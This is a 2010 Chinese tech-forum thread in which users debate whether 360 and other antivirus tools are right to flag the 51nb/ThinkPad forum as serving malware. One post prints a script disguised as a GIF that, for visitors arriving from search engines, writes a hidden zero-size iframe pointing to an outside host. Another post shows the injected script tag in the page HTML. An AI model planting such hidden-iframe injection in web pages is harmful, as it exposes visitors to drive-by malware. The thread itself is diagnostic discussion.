关于360报告挂马情况的说明

lsy198816

瑞星也报告51nb挂马

xuancai18

那也叫杀毒啊，纯属流氓软件。

experience

我的U盘里都是病毒，360杀毒竟然提示安全~
晕了
上次测试键盘记录器的时候，除了360杀毒，别的都能查出来~
亲身经历

kvncyx

360可能要走上灭亡了，现在安全过了头，很多网站都误报。

alanfly

最近光顾着磨嘴皮子暗地里找枪手，正业给忘了。

[ Edited by  alanfly on 2010-6-6 19:44 ]

zjm1228

360本身就是打着免费的旗号，其实捞了不少钱！！！！！

xiaohanguo

我估计是外挂广告误报

jmzhlove

360的前身不就是3721么。。。

athlonxing

呵呵，非常淡定，瑞星没有误报。

poohbear

啥软 AVG Anti-Virus Network Edition 8.5

换成http://www.thinkpad.cn/forum/依旧提示，http://www.ibmnb.com也提示。

既然杀软有报，总不能把责任推给360吧，何况不是只有360在报，我相信AVG更信过随便一句“误报”，不知道有没有仔细排查？

论坛是大家的，更是版主和管理员以及站长的，还是仔细检查一下为好，省得胆小的人提心吊胆

danke2001

40楼奇怪啊

咔吧没问题

panping913

360 莫信也莫慌~~

是玩笑的

alanfly

safe.189这个后缀是个gif的，实际是个脚本，可能因此被报毒；
下面是它的内容，好像是个访问统计的，上回论坛报毒也是这种类型的脚本。

1. var url=document.referrer;
   
2. var p=url.toLowerCase().indexOf(".baidu.com");
   
3. if (p>0)
   
4. {
   
5. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
   
6. }
   
7. var url=document.referrer;
   
8. var p=url.toLowerCase().indexOf(".google.com.hk");
   
9. if (p>0)
   
10. {
    
11. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
    
12. }
    
13. var url=document.referrer;
    
14. var p=url.toLowerCase().indexOf(".sogou.com");
    
15. if (p>0)
    
16. {
    
17. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
    
18. }
    
19. var url=document.referrer;
    
20. var p=url.toLowerCase().indexOf(".soso.com");
    
21. if (p>0)
    
22. {
    
23. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
    
24. }
    
25. var url=document.referrer;
    
26. var p=url.toLowerCase().indexOf(".gougou.com");
    
27. if (p>0)
    
28. {
    
29. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
    
30. }
    
31. var url=document.referrer;
    
32. var p=url.toLowerCase().indexOf(".118114.cn");
    
33. if (p>0)
    
34. {
    
35. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
    
36. }
    
37. var url=document.referrer;
    
38. var p=url.toLowerCase().indexOf(".bing.com");
    
39. if (p>0)
    
40. {
    
41. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
    
42. }
    
43. var url=document.referrer;
    
44. var p=url.toLowerCase().indexOf(".youdao.com");
    
45. if (p>0)
    
46. {
    
47. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
    
48. }
    
49. var url=document.referrer;
    
50. var p=url.toLowerCase().indexOf(".yahoo.com");
    
51. if (p>0)
    
52. {
    
53. document.writeln("<iframe src=http://microsoft26.9966.org:6677/g/index.html width=0 height=0></iframe>");
    
54. }
    
55. 
    

复制代码

[ Edited by  alanfly on 2010-6-6 20:22 ]

HOPE

检查过网站程序及打开页面的代码，并没有你截图中的“safe.189.cn/aq/ad01.gif”这些代码，不过189.cn是电信的网站，这是什么回事呢？
现在正在联系机房，不排除是机房里面其它服务器导致的。

poohbear

|<a href="http://www.thinkpad.com.cn" target="_blank"> 专门网商城 </a> |<a href="banned.php"> 小黑屋</a> | <a href="faq.php">帮助</a>  | <a name="StranLink">繁體中文</a><br>
<div class="secmenu">
   
<a href="plugin.php?identifier=ques&module=ques">答卷系统</a><script src=http://safe.189.cn/aq/ad.gif?¨></script>
  |<a href="report.php?action=listerror"> ThinkPad错误码查询 </a>  |<a href="report.php?action=getdetails"> ThinkPad机型信息查询 </a>  |<a href="repair.php"> 维修服务中心(<font color="#FF0000">新</font>) </a>  |<a href="/base" target="_blank"> 知识库 </a>  |<a href="report.php?action=calendar"> 万年历查询 </a> </div>


虽然这个类似木马的警报没多大危害性，但总是弹出来很讨厌，再说，也不能保证该代码不会窃取用户信息

t60zwq

HOPE,我在卡饭让大家测试，小红伞和NIS2010也开始报了，请注意。

conan1982

卡巴未报，无视

qwer20060606

真有人用360啊

飞鱼刀

360是有选择性的？靠

misterben

不会是电信劫持DNS，然后强行植入广告所致吧？

卡巴斯基最新版——无报警。

[ Edited by  misterben on 2010-6-6 20:48 ]

45闲人

微软自家的杀毒软件MSE 没有报马,小A没报马，电信的网络。

Revival

360只是个流氓，换了身份证
然后整天攻击这个X星，那个X山的无赖罢了
然后做的程序竟然会强制卸载其他的收费的杀毒软件
真是太可恶了

Revival

QUOTE:

Posted by misterben on 2010-6-6 20:37
不会是电信劫持DNS，然后强行植入广告所致吧？

卡巴斯基最新版——无报警。

[ Edited by  misterben on 2010-6-6 20:48 ]

电信是会经常这样的！

zhangdenke

不用360的过.....

deihc

网络安全大家都不是专家
不报不一定没毒
报不一定有毒
在这里骂XX不好 垃圾  请问下大家对网络安全又知道多少呢

淡定

coco_coco2

瑞星也报的

cyberkitten

最烦360，用Symantec Endpoint Protection什么事没有。

raidasy

我的诺顿到没有报警，360到吓了我一跳。鄙视ING

HOPE

再分析一下360报警的区别。相同的网页内容，输入http://mobile.51nb.com进入专门网手机版，不报警，进入下面也不报警：

http://mobile.51nb.com/index.php?action=thread&tid=963319 (没有报警)

但是，如果从www.ibmnb.com/mobile下面进入手机版，则马上报告，相同的网页也是报警：
http://www.ibmnb.com/mobile ... read&tid=963319

这是什么回事呢？网页内容是完全一样的，为什么不同的域名就会出现不同的情况呢？
手机版的网页内容是非常精简的，没有任何多余的代码。

yucaixia

我是流氓、我会柔道.